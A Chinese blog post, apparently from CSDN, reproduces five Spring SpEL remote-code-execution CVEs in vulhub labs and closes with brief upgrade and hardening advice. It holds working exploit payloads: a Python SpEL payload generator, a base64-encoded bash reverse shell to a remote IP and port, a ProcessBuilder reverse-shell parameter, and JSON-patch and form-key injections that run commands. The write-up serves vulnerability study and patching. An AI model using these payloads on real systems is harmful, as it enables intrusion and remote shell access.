• 寻了半生的春天 你一笑 便是了

总体概述:

  • Spring 是一个开源框架,核心是控制反转(IoC)和面向切面(AOP)。简单来说,Spring 是一个分层的 JavaSE/EE full-stack(一站式) 轻量级开源框架。简单说就是创建对象由以前的程序员自己 new 构造方法来调用,变成交由 Spring 来创建对象 。类比 Struts 2 框架绝大部分的安全漏洞都都是由于 OGNL,而自从 sping 引入 SpEL,也引起很多安全漏洞,什么事都是有利即有弊。
  • 本次主要针对以下几个漏洞进行复现 (vulhub 一键搭建),主要还是由于 SpEL 表达式而产生的漏洞,攻击者可以注入恶意 SpEL 表达式以执行任意命令。

漏洞版本

  • Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
  1. Spring Security OAuth 2.0 2.0.9
  2. Spring Security OAuth 1.0 1.0.5
  • Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
  1. Spring Web Flow 2.4.0-2.4.4
  • Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)
  1. Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
  2. Spring Boot version < 2.0.0M4
  3. Spring Data release trains < Kay-RC3
  • Spring Messaging 远程命令执行漏洞(CVE-2018-1270)
  1. Spring Framework 5.0 -5.0.4
  2. Spring Framework 4.3 - 4.3.14
  • Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
  1. Spring Data Commons 1.13 - 1.13.10
  2. Spring Data Commons 2.0 - 2.0.5

漏洞概况:

  • Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块,主要分为授权服务 Authorization Service. 资源服务 Resource Service. 这次漏洞主要是由用户使用 Whitelabel views 来处理错误时,攻击者在被授权的情况下可以通过构造恶意 SpEL 表达式来远程执行命令。
  • Spring WebFlow 构建于 Spring MVC 之上,允许实现 Web 应用程序的 “流程”。流程封装了一系列步骤,指导用户执行某些业务任务。 它的最佳位置是具有受控导航功能的有状态 Web 应用程序,例如购物逻辑,向表单添加确认步骤等。如果我们控制了数据绑定时的 field,构造恶意 SpEL 表达式来远程执行命令。
  • Spring Data 是对数据访问的更高抽象。通过它,开发者进一步从数据层解放出来,更专注于业务逻辑。Spring Data REST 是一个构建在 Spring Data 之上,为了帮助开发者更加容易地开发 REST 风格的 Web 服务。在 REST API 的 Patch 方法中,path 的值被传入 setValue,导致执行了恶意 SpEL 表达式,触发远程命令执行漏洞。
  • spring messaging 为 spring 框架提供消息支持,其上层协议是 STOMP,底层通信基于 SockJS,
    用 STOMP 协议将数据组合成一个文本流,简单来说用 sockjs 协议发送文本流,sockjs 会选择一个合适的通道:websocket(NEW) 或 ajax(OLD) 进与后端通信。由于 selector 用 SpEL 表达式编写,并使用 StandardEvaluationContext 解析 (权限太大),造成命令执行漏洞。
  • Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons 有一个重要概念: Spring Data Repository 抽象。使用 Spring Data Repository 可以极大地减少数据访问层的代码。当用户在项目中利用了 Spring-data 的相关 web 特性对用户的输入参数进行自动匹配的时候,会将用户提交的 form 表单的 key 值作为 SpEL 表达式进行注入,攻击者可以注入恶意 SpEL 表达式以执行任意命令。

漏洞复现:

  1. #!/usr/bin/env python
  2. message = input('Enter message to encode:')
  3. poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
  4. for ch in message[1:]:
  5. poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
  6. poc += ')}'
  7. print(poc)
  1. bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAyLzg4ODggMD4mMQo=}|{base64,-d}|{bash,-i}

poc 之后生成 SpEL 表达式,带入表达式即可成功 getshell。

Spring框架漏洞复现大杂烩!!!_SoulCat-CSDN博客_spring漏洞 - 图1

  • Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
    在 spring-webflow 官方给的简单示例中,订购酒店,然后填写信息后点击 “Process”(从这开始,WebFlow 就已运行)
    Spring框架漏洞复现大杂烩!!!_SoulCat-CSDN博客_spring漏洞 - 图2
    然后在点击 “confirm”, 之后抓包,添加反弹 shell 参数,返回 500,即可成功 getshell
  1. _(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/ip/端口 0>&1")).start()=hellowrod(要url编码,因为有特殊符号)

Spring框架漏洞复现大杂烩!!!_SoulCat-CSDN博客_spring漏洞 - 图3

  • Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)
    首先注意几点:
    1.Content-Type:application/json-patch+json
  1. 请求数据必须是 json 数组
    3.JSON Patch 方法提交的数据必须包含一个 path 成员,用于定位数据,同时还必须包含 op 成员,可选值如下: | op | 含义 | | —- | —- | | add | 添加数据 | | remove | 删除 | | replace | 修改 | | move | 移动 | | copy | 拷贝 | | test | 测试给定数据与指定位置数据是否相等 |


对于上面添加的 Person 数据,外面可以修改其 lastName 属性,请求数据如下:
[{"op": "replace", "path": "/lastName", "value": "hellocat"}]
然后构造 payload,path 的值是 SpEL 表达式,

  1. [{ "op": "replace", "path": "T(spel表达式)/lastname", "value": "hellocat" }]

抓包修改 OPTIONS,查看接受类型和允许的请求方法。

Spring框架漏洞复现大杂烩!!!_SoulCat-CSDN博客_spring漏洞 - 图4

把 patch 换成反弹 shell 语句,即可成功 getshell。
Spring框架漏洞复现大杂烩!!!_SoulCat-CSDN博客_spring漏洞 - 图5

  • Spring Messaging 远程命令执行漏洞(CVE-2018-1270)
    搭建:git clone https://github.com/spring-guides/gs-messaging-stomp-websocket
    cd complete
    ./mvnw spring-boot:run
    搭建成功,然后开启 connect,然后抓包添加 payload\nselector:new java.lang.ProcessBuilder("touch /tmp/sucesss").start()即可, 然后即可成功执行命令
    Spring框架漏洞复现大杂烩!!!_SoulCat-CSDN博客_spring漏洞 - 图6
  • Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
    首先在登入页面抓包,发送 repeater
    Spring框架漏洞复现大杂烩!!!_SoulCat-CSDN博客_spring漏洞 - 图7
  1. payload:username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=

然后修改 username,进行修改 payload 数据发送,可以看见成功执行命令。
Spring框架漏洞复现大杂烩!!!_SoulCat-CSDN博客_spring漏洞 - 图8

  • Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

    1. 禁用生产环境中的 Whitelabel 错误页
    2. 升级 +++
  • Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

    1. 建议在视图状态中始终使用显式数据绑定声明, 以防止表单提交在不应设置的目标对象上可以任意设置字段。
    2. 升级 +++
  • Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)
    升级 +++
  • Spring Messaging 远程命令执行漏洞(CVE-2018-1270)
    升级 +++
  • Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
    升级 +++
    萌新一枚,余生很长,请多指教。
    Spring框架漏洞复现大杂烩!!!_SoulCat-CSDN博客_spring漏洞 - 图9
    https://blog.csdn.net/csacs/article/details/87951940